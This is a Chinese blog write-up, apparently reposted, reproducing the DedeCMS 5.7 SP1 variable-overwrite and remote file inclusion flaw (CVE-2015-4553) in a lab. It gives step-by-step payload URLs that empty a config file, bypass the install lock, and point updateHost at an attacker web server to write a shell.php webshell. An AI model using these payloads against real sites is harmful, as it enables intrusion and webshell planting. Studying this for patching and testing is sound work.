DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
作者:雨中落叶 发布时间:2022-05-31 17:37:05
一、漏洞描述
该漏洞在/install/index.php(index.php.bak)
文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。
二、漏洞影响版本
DeDeCMS < 5.7-sp1,包括5.7 sp1版本
三、漏洞环境搭建
1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php
2、点击我已阅读并继续。然后是环境检测,保存默认即可
3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了
4、然后就把环境搭好了
四、漏洞复现
1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。
2、尝试通过变量覆盖重装网站,浏览器访问
3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1
4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码
4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost
文件内容如下:
4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt
拼接为字符串,并利用files_get_contents
函数读取demodata.{$s_lang}.txt
文件内容,最后将该文件内容写入到$install_demo_name
参数中。
4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。
5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents
读取文件失败会返回NULL
5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name
指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。
构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?
step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php
浏览器访问,提示如下
5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制
5.4、再次构造payload:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php
5.5、此时可以看到config_update.php会发现已经变为0kb,空文件
5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了
5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务
5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP
Payload如下:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/
浏览器访问,出现界面说明写入成功
5.9、查看是否上传成功,确定上传成功
6、浏览器访问上传的shell.php
总结
以上所述是小编给大家介绍的DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553),网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!
来源:https://www.cnblogs.com/yuzly/p/11332644.html
猜你喜欢
- 由于数据存放在大数据平台的Hive数据仓库中,我需要在Win10系统上利用Python3连接Hive,然后读取数据,进行探索、分析和挖掘工作
- 本文实例讲述了Python3实现并发检验代理池地址的方法。分享给大家供大家参考,具体如下:#encoding=utf-8#author: w
- Qt Designer用于像VC++的MFC一样拖放、设计控件PyUIC用于将Qt Designer生成的.ui文件转换成.py文件Qt D
- 要想更好的理解 css, 尤其是 IE 下对 css 的渲染,haslayout 是一个非常有必要彻底弄清除的概念。大多IE下的显示错误,就
- 1. 算法描述冒泡排序(Bubble Sort)是一种简单的排序算法。它重复地遍历要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们
- 将一个四位数反向输出massage = '''将一个四位数,反向输出'''N = input
- 前言和Word、Excel承载数据的能力相比,PPT的应用重点在于表演。比如一场发布会、一场演说、一次产品展示、一次客户沟通&hel
- 如下所示:#!/usr/bin/python2.6 # -*- coding: utf-8 -*- import time cl
- 经常看到朋友圈或者空间里有朋友发布照片时,将朋友圈的照片切分为九宫格,参考了一些大神的博客资料,现整理如下;将图片分拆成九宫格的思路:读取图
- 导言:在前面的教程我们阐述了应用程序处理二进制数据的2种模式,以及使用FileUpload 控件从浏览器向服务器文件系统上传文件。当文件上传
- 为什么要做这个?mock 第三方服务时,需要使用,另外包括自身开发,有时也会用到python#!/usr/bin/env python2#
- 起因:学校运河杯报了个项目,制作一个天气预测的装置。我用arduino跑了BME280模块,用蓝牙模块实现两块arduino主从机透传。但是
- 1 sample(序列a,n)sample(序列a,n)功能:从序列a中随机抽取n个元素,并将n个元素生以list形式返回。例:from r
- 一空间多域名绑定3种方法,HTML代码格式:<html> <script language=javascript
- 前言上篇文章相信大家已经了解了pytest在cmd下结合各种命令行参数如何运行测试用例,并输出我们想要看到的信息。那么今天会讲解一下pyte
- 具体代码如下所示:#字符串反转def reverse (s): rt = '' for i in r
- 前言如果你在寻找python工作,那你的面试可能会涉及Python相关的问题。通过对网络资料的收集整理,本文列出了100道python的面试
- 如果机房马上要关门了,或者你急着要和MM约会,请直接跳到第四个自然段。以下叙述的脚本包括服务器端脚本和客户端的脚本,服务器端脚本指在服务器上
- 用于制作自动化微信聊天图片,通过图片生成段子视频根据一个txt文档input.txtL 一路走过来好热啊
- 目录问题注意总结问题如何在一张表上对多个表进行外键关联from django.db import modelsclass Appliance